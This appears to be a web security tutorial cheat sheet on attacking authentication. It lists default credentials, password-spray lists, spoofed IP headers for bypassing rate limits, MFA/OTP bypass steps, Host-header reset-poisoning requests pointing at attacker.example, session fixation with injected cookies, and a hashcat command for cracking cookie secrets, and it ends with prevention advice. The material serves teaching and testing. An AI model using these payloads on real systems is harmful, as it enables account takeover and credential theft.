Authentication Vulnerabilities: The Complete Practical Guide

Authentication Attacks Cheat Sheet

A dense reference: username enumeration signals, default creds, throttle-bypass headers, MFA/OTP checklist, reset poisoning, and session forgery.

Published October 25, 2026

Every authentication attack signal and payload, in one place. The core move never changes: get the server to accept a proof of identity it should reject. For the how and why behind each section, start at the authentication guide. Lock it in on a free live target.

Username enumeration signals

Compare a bad-username response against a good-username-bad-password response. Any difference is an oracle.
 
Response body:   "Invalid username"  vs  "Invalid password"      (classic tell)
Status code:     200 vs 302           (a redirect in one case but not the other)
Content-Length:  differs by a few bytes between the two cases
Timing:          valid user often SLOWER (the password actually gets hashed)
Lockout:         only real accounts get "account locked" after N tries
Reset form:      "email sent" vs "no such user"
Signup form:     "email already in use" confirms the account exists

Timing is "often," not always: a hardened app hashes a dummy for missing users to equalise. See username enumeration.

Default / common credentials (try first)

admin:admin        admin:password     admin:admin123     admin:changeme
root:root          root:toor          administrator:administrator
guest:guest        test:test          user:user          demo:demo
admin:<blank>      tomcat:tomcat      postgres:postgres  sa:<blank>

Spray passwords (one password across every username, stays under per-account lockout):
Welcome1   Password1   Password123   <Company>2024!   Summer2024!
Spring2025!   Changeme123   Qwerty123!   P@ssw0rd   <Season><Year>!

Spraying beats brute force on any target with lockout. See password-based attacks.

Brute-force / throttle bypass headers

When throttling keys on client IP read from a header, forge it. Rotate a fresh value each request.
 
X-Forwarded-For: 10.0.0.<n>            (increment per request to reset the counter)
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
Forwarded: for=127.0.0.1

Counter-reset and format tricks:
X-Forwarded-For: 1.2.3.4, 127.0.0.1    (last/first hop confusion)
x-forwarded-for: 127.0.0.1             (header-name case may dodge a naive filter)
Double header: send X-Forwarded-For twice; throttle and app may read different ones
Username casing: Admin / ADMIN / admin may hit different per-account counters
Null/space:  admin%00  or  "admin "    may be treated as a new account by the limiter

See flawed brute-force protection.

MFA / OTP bypass checklist

[ ] Browse directly to the post-login URL after step 1 - is step 2 enforced?
[ ] Change the user you are completing MFA for (swap the session/account id)
[ ] Tamper the verify response:  {"verified":false} -> true  /  {"status":"fail"} -> "ok"
[ ] Remove the MFA parameter entirely - does it default to pass?
[ ] Brute 4-6 digit OTP (0000-9999 / 000000-999999) with no/weak rate limit
[ ] Re-submit an OLD otp - still accepted (no single-use)?
[ ] Wait past the window - does the code still work (no expiry)?
[ ] Race: fire many verify requests in parallel against one code
[ ] Downgrade to the backup-code / recovery flow (often weaker, no lockout)
[ ] Is the code ever returned in the response, a header, or a redirect?

See MFA and OTP bypass.

Password-reset abuse

Host-header poisoning - make the emailed reset link resolve to your server:
 
POST /forgot-password HTTP/1.1
Host: attacker.example                 <- app builds the reset URL from Host
 
username=victim
 
-- when Host is validated, try --
X-Forwarded-Host: attacker.example
X-Host: attacker.example
X-Original-Host: attacker.example
Forwarded: host=attacker.example
Host: [email protected]
Host: attacker.example                 (duplicate Host header)
Host: target.example:aaa'><a href="//attacker.example/?   (port -> dangling markup)

Token leakage and logic abuse:
Token in the response body/JSON of the "send reset" call   -> use it directly
Token in the redirect Location header or logs
Predictable token:  base64(email) / md5(username) / sequential id / timestamp
No expiry:          reuse an old emailed link indefinitely
No single-use:      submit the same token twice
Not user-bound:     reset?token=<mine>&user=victim          (change user, keep token)
Parameter pollution: email=victim@example&email=attacker@example

See password-reset flaws.

Session fixation

1. Obtain a valid pre-auth session id        (SESSIONID=KNOWN123)
2. Deliver it to the victim:
     https://target.example/?SESSIONID=KNOWN123     (if ids are accepted from the URL)
     or:  document.cookie="SESSIONID=KNOWN123"       (via XSS / subdomain)
3. Victim logs in. If the id is NOT rotated on login, KNOWN123 is now authenticated.
4. Attacker reuses KNOWN123  ->  logged in as the victim.

Fix tell: a secure app issues a brand-new session id at login. See session attacks.

# Guessable encodings
base64:   YWRtaW46MTcwMDAwMDAwMA==  ->  admin:1700000000   (username:timestamp)
hex:      61646d696e                ->  admin
 
# Signed cookie - forge once the secret is weak/leaked
pattern:  <username>:<unix-ts>:<hmac(username+ts, SECRET)>
forge:    base64(username) + "." + hmac_sha256(base64(username), SECRET)
 
# Offline crack of a weak HMAC secret (illustrative; 1450 = HMAC-SHA256, guess is the key)
# cookie_hmac.txt line format: <hex-digest>:<signed-message>
hashcat -m 1450 cookie_hmac.txt rockyou.txt

See session attacks.

[ ] Different error/length/status/timing for bad user vs bad password?   (enumeration)
[ ] Any rate limit at all? Keyed on a spoofable IP header only?
[ ] Does lockout exist, and can it DoS real users?
[ ] Is MFA enforced server-side on the final action?
[ ] Reset token high-entropy, single-use, expiring, user-bound?
[ ] Is the Host header trusted when building the reset link?
[ ] Does the session id rotate on login?                                 (fixation)
[ ] Is any persistent cookie signed with a strong server secret?
[ ] Does logout invalidate the session server-side?

Prevention

Identical generic errors for every failed login, reset, and signup, with equalized timing.
Server-side rate limiting on the account and a trustworthy signal, never a spoofable header, with backoff over lockout.
MFA enforced server-side with phishing-resistant factors. One-time codes single-use, short-lived, and rate-limited.
Reset tokens high-entropy, single-use, expiring, user-bound, and never in a response. Build the link host server-side.
Rotate the session id at login, sign and revoke persistent state, and use real server-side logout.
Breach-password checks and spray/stuffing anomaly detection.

Full detail in securing authentication.

← Back to Authentication Vulnerabilities: The Complete Practical Guide